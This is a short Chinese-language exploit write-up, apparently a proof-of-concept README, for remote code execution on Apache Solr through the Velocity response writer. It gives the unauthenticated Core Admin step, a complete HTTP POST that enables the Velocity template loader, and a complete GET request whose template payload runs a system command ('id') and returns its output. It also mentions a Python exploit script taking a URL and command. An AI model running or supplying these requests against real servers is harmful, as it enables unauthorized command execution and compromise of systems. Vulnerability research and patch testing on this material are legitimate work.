Apache Solr rce

复现过程

step1: 通过Solr未授权访问，访问Core Admin，获取Path

step2: 修改配置

POST /solr/(第一步获取到的Path)/config HTTP/1.1
Host: ip:8983
User-Agent: xxx
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

step3: 执行命令

GET /solr/(第一步获取到的Path)/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: xxx:8983
User-Agent: xxx

python exp

使用方法： python solr_rce.py url "command"

参考

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

https://mp.weixin.qq.com/s/_mwnPuvqBP945D3g-j8Hrw